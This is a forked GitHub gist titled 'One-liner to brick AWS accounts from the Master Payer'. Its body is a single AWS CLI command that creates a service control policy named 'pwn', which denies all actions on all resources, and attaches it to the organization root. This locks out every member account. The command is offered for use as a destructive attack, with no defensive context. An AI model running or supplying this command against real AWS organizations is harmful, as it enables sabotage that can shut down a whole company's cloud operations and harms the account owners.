Skip to content

Instantly share code, notes, and snippets.

@dezren39
Forked from kmcquade/brick-aws.sh
Created September 26, 2023 22:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dezren39/a394d4b6f87a355265056cfa9b519dc5 to your computer and use it in GitHub Desktop.
Save dezren39/a394d4b6f87a355265056cfa9b519dc5 to your computer and use it in GitHub Desktop.
One-liner to brick AWS accounts from the Master Payer
aws organizations attach-policy \
--policy-id $(aws organizations create-policy --name pwn \
--type SERVICE_CONTROL_POLICY \
--description "pwn"
--content '{"Version": "2012-10-17","Statement": [{"Effect": "Deny", "Action": "*", "Resource": "*"}]}' \
| jq ".Policy.PolicySummary.Id"\
) \
--target-id $(aws organizations list-roots | jq ".Roots | .[0].Id")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment